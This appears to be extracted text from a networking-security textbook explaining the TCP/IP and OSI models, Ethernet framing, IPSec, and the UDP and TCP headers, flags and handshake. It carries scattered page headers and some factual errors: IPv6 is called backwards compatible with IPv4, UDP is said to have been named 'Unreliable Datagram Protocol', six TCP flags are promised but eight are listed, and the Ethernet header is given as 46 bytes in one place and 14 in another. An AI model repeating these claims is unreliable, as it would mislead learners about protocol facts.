IP stacks actually implement three different network layer protocols, each used for different purposes. First, the most common is IP itself, the Internet Protocol. The bulk of all traffic is carried in small bundles of IP data, known as datagrams. Second, to signal other computers about error conditions, to provide helpful advice about local network conditions, or just to make sure the remote host is still there is the Internet Control Mes-sage Protocol (ICMP). Third, the least common is Internet Group Management Protocol (IGMP), which only is used with IP multicasting, mentioned later in the module. In reality, usually you can forget IGMP and con-centrate on IP and ICMP. Even though both ICMP and IP reside at the Network Layer, an IP packet still carries ICMP to reach its destination.

Types of IP

There are two versions of IP to be considered: IPv6 and v4. IPv6 is starting to become available, and everyone expects it to become quite popular as time goes on because it includes many security enhancements and, more importantly, allocates more bits to each IP address - translating directly into more available addresses.

IPv6 is generating a lot of interest. Because it is backwards compatible with IPv4, existing applications still can continue to run, and routers and other network devices that support IPv6 packets still can continue to support IPv4 as well.

However, currently, the most common version of IP is 4 (IPv4). So, throughout the rest of this book, unless we specifically state we are referring to IPv6, assume we mean IPv4

66

PROTO

COL U

ND

ERSTAN

DIN

G

The Transport Layer

The Transport Layer provides end-to-end data delivery service. This is the layer that assembles packets and sends them to the Internet layer for processing. IP stacks typically include two protocols at this level.

The Transport Control Protocol (TCP) is the most common of these protocols and is the “TCP” in “TCP/IP.” This protocol entails a significant amount of overhead when setting up connections but virtually guarantees the proper delivery of the data sent in the order sent (as long as the network is available, of course). The User Da-tagram Protocol (UDP) is another common choice. In exchange for the application programmer doing more work to provide the same delivery guarantees, UDP delivers quick, efficient transmission.

The Application Layer

Finally, the Application Layer serves as the network interface into operating system and user programs. Unless you write IP stacks yourself, this is the level at which you do all of your network programming. Exam-ples of application layer service are telnet, FTP, and DNS, but really every network application falls into this category.

Figure 2.4

67

PRO

TOCO

L U

ND

ERST

AN

DIN

G

Comparing the Two Models

This module shows a comparison between the OSI model and the TCP/IP model. As you can see, the OSI model is more granular. The OSI model splits apart some functionality that was combined in the TCP/IP model. The Network Layer in the TCP/IP model comprises both the Physical Layer and the Link Layer in the OSI model, and the Application Layer in TCP/IP encompasses the Application, Presentation, and Session Lay-ers of OSI. The OSI model is more detailed because it was designed to support protocols other than just TCP/IP. By creating more layers, the designers made it easier to break down the functionality of each protocol and build more specific interfaces and linkages between the layers.

Even though each model breaks down the functionality a bit differently, you should realize that no matter which model you use, it must perform all the functions required to take a piece of application data, place it into a packet, put that packet on the wire, and deliver it safely and efficiently to its destination.

Figure 2.5

68

PROTO

COL U

ND

ERSTAN

DIN

G

Headers and Trailers

The standard Ethernet header is defined in the IEEE 802.3 specification, which consists of three fields. The first field is the destination MAC address, which is six bytes in length. The next field is the source MAC ad-dress, which is also six bytes in length. The third field is the frame type, which is two bytes in length. The type field indicates the OSI network-layer protocol, such as IP or ARP. Some common Ethernet type codes include the following:

Value Type

0x0800 IP version 4

0x86DD IP version 6

0x0806 ARP

0x8037 IPX

0x809B AppleTalk

Note

Note that layer 2 protocols order the destination address first, and then the source address. When a station receives a frame, it can quickly look at the destination address and know where to send the packet without having to examine the source address. This is unlike upper-layer protocols such as IP, which include the source address before the destination address.

In addition to the frame header, Ethernet networks append a frame trailer to each frame. The frame trailer consists of a 4-byte checksum of the rest of the frame that is intended to detect accidental transmission er-rors. Although in theory a bad checksum could mean that the packet has been modified maliciously, usually such modification also would regenerate a new checksum to avoid such easy detection. Although a healthy paranoia would still cause you to be slightly suspicious of such packets, the most common cause of bad checksums simply is a transmission problem.

Note

The maximum packet size for an Ethernet network is 1518 bytes. Adding the size of the Ethernet header (14 bytes) with the Ethernet trailer (4 bytes), we can calculate the maximum payload size of an Ethernet frame as 1500 bytes. Upper-layer protocols that wish to send packets of a larger size must rely on the ability to split larger payloads into 1500-byte chunks. This module covers this process, which is known as fragmentation.

69

PRO

TOCO

L U

ND

ERST

AN

DIN

G

How Protocol Stacks Communicate

Each layer on the stack talks only to the corresponding layer on the remote computer. For example, in this slide, the Application layer on Host A exchanges information with the Application layer on Host B, and the Transport layer on Host A exchanges information with the Transport layer on host B. However, this upper layer exchange requires the going through of all of the lower layers on each host.s respective stack. Each layer takes the information from the layer above it, examines it, adds its own information to it, and then sends it to the next layer down the stack. Because of this orderly flow of communications up and down the protocol stacks, packets can be created, moved, and examined with great efficiency across large distances and multiple networks.

Security Protocols

All these different protocol layers are great, but you might be wondering about their roles in securing your information. As you’ll see later in this module, none of them really provide much security. Some have basic integrity checking to make sure data isn’t accidentally modified by faulty network equipment, but IP lacks good support for confidentiality and integrity.

All is not lost, however. Many solutions to this problem have cropped up over the years, and to provide these resolutions there are a plethora of protocols you can utilize. Typically they fit in either the application or the network layer of an IP stack. Let’s look at just a few of them.

Application Layer Security Protocols

Application layer protocols are the easiest to understand. In fact, you probably already use some of them. Security protocols in the application layer rely on a program’s developers to explicitly code support for the protocol into their product. Probably the most common example of an application layer protocol is the Secure Sockets Layer (SSL). SSL started life as a way to enable secure communication between web browsers and servers, but today you can find it embedded in a wide variety of applications. Its flexibility and security make it a good fit for a wide variety of communication security needs.

Two other examples of common application layer security protocols are the Secure Multipurpose Internet Mail Extensions (S/MIME) and Privacy Enhanced Email (PEM) standards for secure email. Both S/MIME and PEM easily allow users to exchange encrypted and/or digitally signed messages, even if they use different email programs. Both protocols format messages in such a way as to pass harmlessly through standard email servers, so support for this protocol need only be present on the users’ desktops. This flexibility makes the protocols compatible with virtually any mail server an organization might choose to use. Of the two, PEM has fallen somewhat out of favour, although S/MIME.s popularity continues to rise.

The last example we discuss is the Secure Electronic Transaction (SET) protocol. Backed by MasterCard, SET allows customers to make credit card purchases over the Internet without giving their numbers to the merchants. Instead, SET relies on digital signatures to authorize the purchase and verify that the customer’s account is in good standing, with adequate available credit. SET-aware software operates at all levels of the transaction - from the user’s e-wallet application to the merchant’s transaction server, to the card issuer’s payment authorization gateway. SET has yet to see wide use, but its goal is a laudable one, and the protocol itself holds great promise if it is accepted in the marketplace.

70

PROTO

COL U

ND

ERSTAN

DIN

G

Network Layer Security Protocols

From the above examples, you probably can see just how powerful and flexible application layer security protocols can be. They do tend to have a big drawback, though. All these different protocols usually rely on the same few types of services, namely encryption and digital signatures. That means each protocol has to provide its own full implementation of a solution. Complex applications that support more than one proto-col might even have to include several distinct pieces of code that do similar things. What if these services could be provided at a lower level? Maybe then we could avoid having to individually modify every applica-tion to provide the same security features and get on with more important things.

It turns out that, to a large extent, this is quite feasible. Good standards exist to provide basic security features at the IP level, and they are widely available. You might have heard of the first, IP Security (IPSec). IPSec provides authentication and confidentiality services by encapsulating standard IP communication, independent of the actual application generating the network traffic. The two ends of the communication negotiate Security Associations (SAs) that tie the session to a specific set of security policies. Because IPSec implements the network security policies, the individual applications don’t have to. Quite a popular, robust protocol, IPSec support usually is provided as part of and has implementations for almost every modern OS. Windows 2000/XP, Linux, Solaris and many other systems provide it, at least as an option.

Because different applications often have different security requirements, some connections will require higher levels of protection. At a minimum, IPSec provides strong integrity protection to ensure that the data hasn’t been modified in transit by a malicious third party. If confidentiality is necessary, IPSec also can pro-vide full encryption of all data in the connection. Encryption keys will be negotiated dynamically at the start of each confidential session.

IPSec does a great job of providing communication security for a wide variety of applications. In fact, it’s the de facto standard for Virtual Private Networks (VPNs). Sometimes IPSec is deployed in combination with ancillary protocols, like Sun Microsystems Simple Key-Management for Internet Protocols (SKIP). SKIP.s most important contribution to IPSec is that it can eliminate the need to negotiate an encryption key when establishing a confidential IPSec session. This is important because negotiating the key can involve several back-and-forth transactions before any real data is sent. Every byte counts in some environments, especially on wireless networks, so this can be a big savings. It also allows encryption keys to be changed on the fly, without having to quit one session and start another, like standard IPSec requires.

Packaging Data for Transmission

In the old days, when someone called a friend on the phone, the phone company used to make a single continuous physical circuit connecting the two telephones, with the assistance of switchboard operators. In effect, this amounted to one long line going right from one phone to the other. This was known as a circuit switched network because all the phone company switching to connect the call was done at the time the circuit was established, and the route was immutable after it was set up. Circuit switching was convenient for the designers of the phone system because after the call was established, you could talk and talk and talk, and the phones simply would send a constant, unbroken stream of data over the line. The big down-side, though, was that an interruption anywhere in this circuit would disconnect the conversation. Also, even when neither party was actually talking, the circuit’s entire bandwidth was still tied up just transmitting “dead air.”

71

PRO

TOCO

L U

ND

ERST

AN

DIN

G

Voice over IP (VoIP) and 3G telephony standards promise something better. While you talk on the phone, the carrier no longer sends unbroken streams of data between the two handsets. The carrier equipment breaks down the signal generated by your voice into many different packets. Instead of dedicating an entire circuit to your single call, the carrier sends packets from many different conversations over the same wires, allowing them to share unused bandwidth. At many stages along the way from one telephone to the other, the car-rier switching equipment can examine the packets to see where they are going and route them to the next hops on their journeys.

This is referred to as packet switched networking because “individual packets each follow their own paths through the network, and there is no dedicated circuit.” If there is an outage or some congestion along the way, each packet can take any of a number of different routes through the network and still arrive at its destination. These characteristics make packet switching much more efficient than circuit switching, which is why no one uses circuit switched phone systems any more.

TCP/IP Routing in Brief

Modern computer networks work the same way. When your data goes out over the network, the computer does not simply send a constant stream of information. Everything is broken up into packets to make it easy to process and to make it possible for many computers to share the same network link.

No single computer can communicate directly with every other computer on the Internet, though. Each computer exchanges packets only with machines on its local network. Packets for machines not on that network are passed to a gateway - a router or other machine that knows how to deliver packets for a slightly larger bit of the network than just the LAN. Gateways pass packets back and forth to other gateways that know more than they do, until eventually (after several hops, or exchanges with other gateways), the packet reaches a router that knows how to talk directly with the destination host. If the destination host replies to the sender, the process starts all over again, in reverse.

Because each packet is routed independently, each can, if necessary, take different paths. Some paths might take longer to traverse than others, so packets might not arrive in the order in which they were sent. Some might even fail to arrive at all! TCP takes care of ensuring that each will get to its destination in the right order, which is why it is considered a reliable transport protocol. As its name implies, UDP is considered an unreliable protocol, but that doesn’t mean you shouldn’t use it. It just means that the application must bear the burden of making sure that all packets arrive and are in the proper order. Under the right conditions, UDP can transmit data at much higher speeds, which is usually why a programmer would elect to use it

Throughout the remainder of this module, we are going to show you the digital guts of some of these packets. Unless otherwise noted, you can assume that these are TCP/IP packets transmitted over a standard

Ethernet LAN.

72

PROTO

COL U

ND

ERSTAN

DIN

G

Packet Headers

However, a payload alone does not make a very useful packet. You must have some signalling information there to tell the other layers in the protocol stack what to make of the data. That is why the packet also must have a header - extra bytes inserted by the protocol before the rest of the data that store information required for the stack to process the packet. Depending on the protocol, the packet header might include such things as where this data is going, where it came from, and the type of information contained in the payload or which application is intended to use this data. Typical TCP/IP headers might be as large as 40 bytes. The link layer adds its own headers, too - 46 bytes for Ethernet.

Remember that a single protocol does not handle network transmissions. Rather, the entire protocol stack handles them. Each layer in that stack needs some specific information from the packet to do its job; there-fore, each layer needs its own header. This can be a significant overhead. If your payload size is too small, you could be spending most of your time transmitting header data. In terms of network efficiency, a small header to payload ratio usually is desirable if you have a good, fast network.

73

IP C

ON

CEPS

PA

RT II

IP CONCEPTS PART II

In the last module, you learned about the basic building blocks of internetworking: the Internet Protocol (IP). We showed you how it forms one layer of a standardized network stack that, along with the other layers, allows two computers to exchange data over a network, even if they run different operating systems or are built by different vendors. Network communication might not seem like much now, but it was a huge step when IP was first invented.

Still, IP never was intended to stand by itself. Although it is possible to write programs that talk directly to the network layer (IP), it is rarely done, except in certain limited cases such as network testing tools or hacking utilities. Most programs do not want to have to deal with the level of complexity that speaking directly to the network layer brings and instead are written to make use of higher-level protocols residing in the transport layer. For IP, these would be the User Datagram Protocol (UDP) and the Transmission Control Protocol (TCP). We introduced these protocols in Module 2 because you can hardly discuss IP and IP stacks without mentioning them. In this module, however, we learn more about them and how they work. We also examine the Network Layer’s Internet Control Message Protocol (ICMP). IP relies on ICMP for network sta-tus messages and error reporting. ICMP messages are quite common on any IP network, so ICMP is just as important as TCP and UDP from a security standpoint.

Finally, after two long modules about abstract protocol bits and bytes, you will receive your reward. We end this module by pulling together your knowledge of IP, TCP, UDP, and ICMP seeing output of nmap, which is a great security tool for scanning a network, and seeing what hosts and services it offers. We show you what

the tool can do for you and explore the output from several sample scans.

The User Datagram Protocol (UDP)

UDP is the simpler of the two transport layer protocols typically used with IP, which is why we cover it first. Its original name was the Unreliable Datagram Protocol, but that term fell out of favor several years ago, maybe because people in the know got tired of explaining over and over again why “unreliable” was not the same thing as “bad.” In fact, UDP is a very useful, important protocol in common use by many applications today.

UDP Overview

UDP.s goal is to be a very fast, efficient protocol for reliable networks. In other words, it tries to achieve great-er overall throughput by sacrificing a lot of computationally expensive error checking. Unlike some other protocols, UDP does not include the concept of a connection. The sender simply places a UDP packet on the wire without even checking to see if the receiving machine is up, let alone warning it that data is about to arrive. Furthermore, after the sender transmits a UDP packet, it essentially forgets about it. The sender never even confirms that the packet made it to its destination. There is also no guarantee that if the packets do ar-rive; they will be in the same order as they were sent. Because each finds its own way through the network, they often take different routes. For longer journeys, some packets inevitably will arrive out of sequence, but that is the receiving application’s problem, not UDP’s. The UDP header does include a simple checksum that can determine if the packet was accidentally modified en route, but technically even this is considered an optional part of the protocol (though in practice it should always be enabled). In short, UDP does very little error checking or exception handling of any kind.

74

IP CON

CEPTS PART II

Datagrams

UDP is datagram-oriented: in other words, it sends discrete bundles of data called datagram’s. In theory, a datagram can be up to 65,535 bytes long, but most implementations impose a much lower limit than this.

At the time it creates a datagram, the host application must specify exactly how many bytes it will send, and this becomes the length of the datagram. In a sense, this is like writing a record-oriented database: even though the individual records may vary in size, one writes operation results in one record. The same holds true with UDP. Each datagram may have a different length, but each write operation results in one datagram being sent.

This may sound like UDP must be a Very Bad Protocol and something to be avoided, but it is really not. Statistically speaking, error checking is hardly ever needed on a fast, relatively error free network because almost all packets arrive in the proper order. By doing away with all the checking, UDP can transmit data at a much higher rate. Of course, the application then will have to assume the extra burden of planning for exceptional conditions when they occur, but the error handling code only will be invoked if an actual error occurs, rather than every time a protocol operation happens. This approach saves a lot of CPU time. It puts more of a burden on the application’s programmer but also provides him or her with a great deal of flexibili-ty and power with which to work, so the tradeoff often makes sense.

Typical Uses for UDP

UDP typically is used in situations where it is okay if some packets are lost or reordered. In a streaming audio application, for example, each packet contains such a miniscule amount of audio data that the client proba-bly can afford to lose one or two, or even several, packets in succession without suffering a noticeable lack of quality. By doing without some level of error checking, the application can push the audio data around the network much more quickly, which gives better quality overall, even if a few packets don’t make it through.

Also, UDP often is used for applications that do not send very much data, perhaps just a handful of bytes, so they do not mind retransmitting the data if it happens to get lost. As we saw in the last module, resolvers can query DNS servers to convert host names into IP addresses. The queries and responses usually can fit inside a single packet, so UDP is a quick and easy choice for a transport protocol. In most cases, the packets will go through fine, but the loss of one, two, or even several packets poses no great problem. The time it takes to recover from the occasional dropped packet is more than made up for by the time saved by not checking for errors that rarely happen anyway. It is easy to retransmit a query if the client does not receive a response in a reasonable amount of time.

Other important UDP-based protocols include the Network Time Protocol (NTP) and the BOOTP/DHCP pro-tocols used by hosts to automatically configure their network interfaces and load their operating systems via the network when they start up.

As with all the IP protocols, the source port indicates the port to which the sender is bound, while the destination port indicates the service on the receiver to which the packet should be delivered. Valid port num-bers are 1 through 65,535.

75

IP C

ON

CEPS

PA

RT II

Figure 2.6

The UDP Header

Even a featherweight protocol like UDP needs some kind of packet header because the transport layers on each host need a way to communicate essential information. This slide diagrams the layout of the UDP header. This looks like a short header, and it is; but remember, these are transport layer headers. The network layer just below this will also add its own headers, encapsulating the UDP headers.

As packet headers go, UDP is pretty simple. There are only four fields: source port, destination port, datagram length, and checksum. Each field is exactly two bytes long. A mere 8 bytes of overhead per packet is pretty good! Let’s examine these fields in detail.

Source Port & Destination Port

UDP uses the concept of ports to help get datagrams to and from the proper applications. In Module 2, you learned that ports are simply ID numbers associated with certain applications running on a host. When one host wants to send datagrams to a server process running on another host, it needs to know what port that process is listening to. If a computer is like an apartment building, the applications running on it are like its residents, and the port numbers are like the apartment numbers in which the residents live. W. E. B. DuBois lives in apart-ment 80, for example, so messages (packets) going to that apartment number clearly are meant for him.

Most server ports are well known, like Web servers that always listen to port 80 no matter how many times they are restarted or the machine is rebooted. Well-known ports are usually considered those from 1 to 1023. Clients usually use ephemeral ports - ports that change each time the client application runs and are assigned for ports that are numbered above the well-known ports (greater than 1023). Why the difference? Well, clients usually poll servers, and not the other way around. Because the client almost always initiates the communication, it needs to know in advance what port the server runs on. After the client contacts the server, the server can look in the packet headers to see what port that particular client is using, so having a predictable port on the client side isn’t important.

76

IP CON

CEPTS PART II

Note

Port numbers below 1024 are sometimes referred to as reserved or trusted ports. Most Unix systems allow processes to bind to these ports only if they are running as root. Some network services can be configured to reject client requests unless their source port is in this range. Although this is intended as a security measure, it is not reliable enough to depend on. Low-numbered ports are thought to indicate that the con-nection comes from a trusted system process and not a normal user, but this control can be circumvented trivially. Any attacker can be root on his or her own Linux or BSD machine these days for next to nothing, and some other OSs do not restrict users from binding to these ports at all.

Datagram Length

Datagram Length is simply the length of the UDP portion of the packet, which includes the UDP header as well as the payload. Because theoretically a datagram could carry no data, the minimum value here is 8 (just the size of the header). The theoretical maximum is 65,535, though many implementations do not allow datagrams that long.

Checksum

The datagram.s checksum is technically an optional component, though almost every UDP implementation uses it. If specified, it allows the transport layer to detect when the UDP headers or the payload data (but not the IP headers, which have their own checksum) have been modified in transit. This is trivial to recompute, so an attacker interested in modifying a UDP packet will have no problem doing so and then generating a new checksum. This really isn’t a security feature so much as a way to detect accidental transmission prob-lems.

IDSs should reject packets with bad checksums to avoid insertion and evasion attacks. “Consider an IP pack-et with a bad UDP checksum. Most operating systems will not accept such a packet. Some older systems might. The IDS needs to know whether every system it watches will accept such a packet, or it can end up with an inaccurate reconstruction of what happened on those machines.

Note

Although technically optional, in most environments there is no good reason to turn the UDP checksum off. The time required to compute the checksum is trivial, and both equipment and environmental factors have been known to corrupt transmissions from time to time in even the most stable networks.

UDP SummaryUDP is a great choice for a transport protocol if you have a fast, reliable network and need either high throughput or quick response times (or both). By avoiding expensive error checking, applications can take advantage of UDP.s quick and responsive nature. Still, it is not a perfect protocol for all uses. Its greatest strength also is one of its greatest weaknesses. Because it does no error checking of its own, the application programmer must take up this burden. On many networks, especially WANs or the Internet, packets routine-ly are lost or mangled. A more robust protocol that can handle these situations automatically would be more desirable. This is, in fact, the whole reason for the existence of UDP.s sibling, TCP.

77

IP C

ON

CEPS

PA

RT II

TCP

TCP is the most commonly used transport layer protocol today. It establishes a virtual connection, often referred to as a session, between the hosts. The protocol is designed to provide reliable connections over possibly unreliable networks. Unlike UDP, which blindly sends datagrams and hopes they arrive, TCP can guarantee that the packet will arrive or at least that it will notify you of a problem. Because of this guaran-tee, TCP often is a network programmer’s protocol of choice. It is probably the easier of the two protocols to program for, because most of the error handling is down inside the transport layer and out of sight from the application code. TCP is especially useful for any application in which there are more than one or two network hops between two computers, because more hops equals more chances for errors to be introduced into the communication.

Most of the Internet protocols you use everyday are based on TCP. Some examples include HTTP (HyperText Transfer Protocol, used by Web servers and browsers), FTP (File Transfer Protocol, used to transfer files to and from servers) or POP3 (Post Office Protocol version 3, which is used to download email).

Figure 2.7

The TCP Header

Because TCP is a much more heavyweight protocol than UDP, it requires a much larger header. The normal TCP header is a whopping 20 bytes! Because most TCP implementations also specify options, it can grow even larger.. From a security standpoint, some of these fields are more important than others. Let’s take a look at some of the key elements of the TCP header.

78

IP CON

CEPTS PART II

Key Fields of a TCP Header

The source and destination ports are identical to their UDP counterparts. The source port indicates the port on which the sender is listening, and the destination indicates the port to which the packet should be deliv-ered on the receiving side.

TCP uses sequence numbers to track packets and provide reliable delivery of information. The host that is sending the data uses sequence numbers, and the receiving host uses acknowledgment numbers to ac-knowledge the receipt of data.

TCP numbers every byte of data it sends with a unique sequence number. This allows either side of the connection to refer to specific bytes by number (that is .the 103rd byte you sent me.). A connection’s Initial Sequence Number (ISN) is the first sequence number used in that connection. TCP initializes the ISN to a ran-dom or semi-random value (for security reasons, the more random, the better). Sequence numbers for the rest of the bytes in the connection are then derived from the ISN by incrementing it by 1 for each byte sent. The sequence number of the first byte sent always equals the ISN + 1. Therefore, if the ISN was 3003873, the 103rd byte would be sequence number (3003873 + 103) or 3003976.

Older TCP implementations used to start ISNs at 1 and increment them by a fixed number (usually 64,000) for each new connection made. More modern stacks start with a random value and increment by different random values for each connection, to keep anyone from guessing what the next valid ISN might be. The best stacks do not increment at all, and return a different pseudo-random ISN for each connection. A given connection could therefore have a lower ISN than the one before it, making it virtually impossible to guess.

The sequence does not start over again with each new packet. It continues until the connection is closed. If a certain packet has a sequence number of 3003873 and contains 103 bytes, the sequence number of the last byte in the packet is 3003976, as we just saw. The sequence number of the first byte in the next packet will be 3003977. If the connection should ever transmit enough data that this 32-bit field would be too small to contain the actual next sequence number, the count rolls over to 0 and continues from there.

Acknowledgement numbers are closely tied to sequence numbers. TCP is required to acknowledge every byte of data that it receives. To acknowledge receipt of all data up to a certain byte, the receiver puts that byte’s sequence number into this field, increments it by 1, sets the ACK flag (see below), and sends a packet back to the sender. That is, the acknowledgement number does not specify the last byte received. Rather, it specifies the sequence number of the next byte that the receiver expects. Therefore, to acknowledge byte 100, the acknowledgement number would be (ISN + 101), which is the number of the next byte in the se-quence. This sequencing might seem confusing, initially.

By sending an acknowledgement, the receiver acknowledges receipt of every byte leading up to that acknowledged byte. For example, it is not possible to indicate that you received bytes 90 through 100, but that you did not receive 85 through 90. If the receiver acknowledges byte 100, it is implicitly acknowledging all preceding bytes. If some packets arrive out of order, the higher sequence numbers are put .on hold. until all the other lower sequence number bytes arrive, and are then reassembled into a coherent stream. If the missing bytes never arrive, the sender times out waiting for them to be acknowledged and eventually sends them again, starting just after the last byte for which it received an acknowledgement.

79

IP C

ON

CEPS

PA

RT II

The SYN, or synchronization bit, is used when establishing a connection and is only used in the first two exchanges of the TCP three-way handshake. The ACK, or acknowledgement bit, is used when a system is acknowledging the receipt of information. In the three-way handshake, the second and third exchanges are acknowledged. Yes, the second exchange sets the flag bits for both “SYN” and “ACK.”

Server and Client Ports

In the past, well-known server ports generally fell below port 1024. Under Unix, only processes running with super-user privileges can open a port below 1024. These ports should remain constant on the host on which they are offered. In other words, if one day you find Telnet at port 23 on a particular host, you should find it there the next day. You will find many of the older well-established services on ports below 1023, such as SMTP (port 25). Some newer services, such as Lotus Notes (TCP port 1352), do not conform to this conven-tion. It would be impossible to assign a distinct number in this range to every well-known service now that there are so many.

Client ports, often known as ephemeral ports, are normally session source ports that are only selected for a particular connection and are then made available to be reused after the connection is freed. Ephemeral ports are usually numbered higher than 1023; the largest possible ephemeral port is 65535. When a client initiates a connection to a server, it selects an unused ephemeral port. For most services, the client and serv-er continue to exchange data between the ephemeral port and the server port for the session’s entirety. This pair of ports is known as a socket pair, and it is unique. That is, there is only one connection on the Internet at any given time that has this combination of source IP and source port connected to this destination IP and destination port.

Sure, another user can connect from another source IP to this same destination IP and destination port, but that user has a different source IP and most likely a different source port. There might even be someone from the same source IP connected to the same destination IP and port; however, this user is given a differ-ent ephemeral port, thereby distinguishing it from the other connection to the same server and destination port. For instance, two users on the same host might be connecting to the same Web server. Although this is the same source IP, the same destination IP, and port (80), the Web server can maintain which data goes to whom by the ephemeral source ports.

http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml

TCP vs. UDP Ports

It is worthwhile to point out here that although UDP and TCP port numbers look similar, they represent different protocols and do not overlap at all: the two protocols keep their port numbers separate. It is quite possible for a TCP application to listen on TCP port 107, for example, while an entirely different application listens to UDP port 107.

That being said, it is also common for a service to bind to the same TCP and UDP port numbers for both connections, just to ensure that no matter which protocol a client chooses to use, the server will receive the information. This is not a requirement, and the application has to be written this way; it does not happen automatically. TCP and UDP port numbers may look the same, but they are in separate address spaces.

80

IP CON

CEPTS PART II

Flags

TCP stacks sometimes need to communicate about the data they.re exchanging. The catch is they cannot insert their own information into the payload because that would corrupt the data stream and might con-fuse the applications. Instead, the TCP protocol provides six one-bit flags that can be specified in the packet headers. Some of these are more common than others, but the unusual use of TCP flags is a good indicator of suspicious traffic, so you should become familiar with all of them.

Following are the different flags:

CWR (Congestion Window Reduced): The CWR flag is associated with an experimental protocol known as Explicit Congestion Notification (ECN). This bit and the one that is now assigned to ECE used to be reserved. ECN was proposed several years ago and, although the TCP and IP fields exist to support it, it has yet catch on.

ECE (ECN Echo): The ECE flag is also associated with ECN.

URG (Urgent): The urgent flag is used by some applications, such as Telnet and rlogin. An application can set this bit to let the other end of the connection know that some important data is coming, but it is up to the client to decide what is urgent and up to the server to decide what to do about it. This flag is most useful if there is some type of interrupt signal that must be given priority. There is another TCP field, the urgent pointer, which indicates where the urgent data is located. There are some ambiguities inherent in this implementation, such as the fact that there is no way to tell the receiver where the urgent data starts in the stream. It could begin at any byte in that packet’s payload. There is also no way to specify where urgent data ends. That is why most legitimate applications never use the URG flag.

ACK (Acknowledgement): The acknowledgement flag is used to acknowledge the receipt of data. After the three-way handshake has been completed, the acknowledgement flag is set in all TCP segments that were exchanged in the session. The receiver uses the acknowledgement number in conjunction with the acknowledgement flag to indicate the next expected TCP sequence number.

PSH (Push): TCP stacks usually buffer incoming data until a certain amount has been collected; they then pass it in a chunk to the application. Transmitting data in bulk is usually the most efficient way to handle the stream; however, for interactive processes (like Telnet or SSH), it is more important that data be processed as soon as it comes in, even byte-by-byte. To ask for this behaviour, the sender can set the PSH flag on a packet to indicate that it should not be buffered but instead should be passed immediately to the remote applica-tion for processing.

RST (Reset): Immediately upon receipt of a packet with the reset flag set, a host should terminate the con-nection that contained that packet. Use of the reset packet is discussed briefly later in this module.

SYN (Synchronize): The synchronize flag indicates a connection request.

FIN (Finish): The FIN flag is the opposite of SYN. It indicates that a connection is being shut down in an or-derly fashion. It contrasts with RST, in that FIN is a much more graceful way to close a connection.

81

IP C

ON

CEPS

PA

RT II

Figure 2.8

TCP Checksum

The TCP checksum ensures that the TCP portion of the packet was not accidentally modified in transit. Like the other checksums we have seen so far, it is not strong enough to protect against attackers who really want to modify your packets, because they simply could compute new checksums and change this field. The checksum indicates whether or not malfunctioning routers, network congestion, or other network glitches have garbled packets.

If the receiver tries to verify the checksum and it does not match the packet it received, it simply throws the packet away and refuses to acknowledge receipt of those bytes. Eventually this will cause the sender to retransmit the packet, so hopefully it will come through Okay the next time. When two people meet on the street, they do not usually start discussing sports highlights, global economic policy, algebra, or any other meaningful topic immediately. First, they usually exchange pleasantries.

“How are you this fine day?”

“Positively smashing. And you?”

“Lovely, lovely, lovely.”

This rather cheery opening poses a question. The response is an answer and a question. The first speaker then answers that question.

82

IP CON

CEPTS PART II

TCP connections are established in a similar way, using the three-way handshake. This almost ceremonious procedure is required before the two hosts can exchange any data. The previous slide depicts the client (source host) initiating a connection to the server (destination host). Because the protocol is TCP, a port or service to which to connect must be identified. Examples of destination ports are 23 for Telnet, 25 for SMTP (mail transport), and 80 for HTTP (Web service).

Especially in the three-way handshake, segments are often named after the flags they have set. Therefore, a segment containing a lone SYN is also called a SYN, and a lone- ACK segment is called an ACK. A segment with both SYN and ACK set is called a SYN-ACK. How do you know whether SYN refers to a packet or a flag? Context. Flags cannot be sent between machines, so when people say, “The client sends a SYN to the server,” they mean a segment with the SYN flag set.

The client initiates the three-way handshake by sending a SYN to signal a request for a TCP connection to the server. In our analogy, this step corresponds to “How are you this fine day?” Then, if the server is up and offering the desired service, it can accept the incoming connection and respond to the SYN. The response consists of both an acknowledgment of the client’s initial connection request (the ACK flag is set – “Positively smashing”) and a connection request of its own (the SYN flag is set – “And you?”), together in a single packet (a SYN-ACK). Neither the SYN nor the SYN-ACK typically contains any data. At this point, the second step of the TCP three-way handshake is complete.

Finally, if the client receives the SYN-ACK and still wants to continue the connection, it sends a final lone ACK to the server (“Lovely, lovely, lovely.”). After the server receives the ACK, the three-way handshake is com-plete, and the connection has been established. The two servers can exchange data.

After a connection is established, the ACK flag is set for every packet. So the presence of the ACK can indi-cate whether a connection is established (that is, whether both parties have agreed on it) or not. In fact, sim-ple packet filters allow all packets with ACK set, assuming that they are part of an established connection. It is trivial to circumvent such a filter by crafting a packet with the ACK bit set, but this technique is often used to probe a network behind a filter.

As much as possible and to minimize traffic, ACKs are “piggy-backed” onto packets containing data, as op-posed to sending a packet with just an ACK. The ACKs confirm to the client and server that both ends are still using the connection.

Figure 2.9

83

IP C

ON

CEPS

PA

RT II

ACK Packet

What is an ACK, anyway? ACK stands for acknowledgement, and it is an important part of the TCP protocol. One reason TCP is so reliable is that each packet is acknowledged as it is received. If a packet is not received (and therefore not acknowledged), it must be re-sent. This way, TCP ensures that all the packets are received, even if the underlying network hardware is failing. Needless to say, this is a much slower way of doing busi-ness. Still, the process can be optimized with the piggybacked ACK we mentioned previously. Even so, TCP often is slower than UDP, especially for small amounts of data, because TCP takes longer to establish (via the three-way handshake) and tear down a connection.

Figure 2.10

TCP SESSION OPEN & CLOSE

This image shows a sample TCP session, illustrating how it opens and closes connections on the network. The example assumes that a PC is connecting to some kind of server over the network, but this same pro-cess holds true for any TCP session established between any two devices.

The arrows in the figure represent the direction of the communications. So an arrow pointing from the PC to the server means that the PC is sending a message to the server; an arrow pointing from the server to the PC means that the server is sending a message to the PC. The SYN, ACK, and FIN labels represent the different types of packets that are used during session setup and close. The SYN packet is used to “sync up,” or start, the communications. The ACK packet sends an acknowledgement of the message back to the originator. The FIN packet starts the process of finishing the connection. Finally, the numbers in parentheses are the sequence numbers that are sent along with each packet.

84

IP CON

CEPTS PART II

The top portion of the figure illustrates the three-way handshake. When opening a two-way connection between two machines, each end of the connection must connect to the other separately. The process starts when the PC sends a SYN packet that requests a connection to the server with an initial sequence number of 100. The server responds to the PC with a SYN-ACK packet. This packet starts up the second half of the two-way connection (again, with a starting sequence number). It also acknowledges the packet that the PC sent originally (incrementing the PC.s sequence number by 1). Finally, the PC acknowledges the server’s connec-tion with an ACK packet and by incrementing the server’s sequence number. The handshake purpose is to establish the connection, not to exchange any data.

After the opening sequence, the PC and the server will continue to exchange packets of information, in-creasing the sequence number each time. The slide does not show this part of the connection.

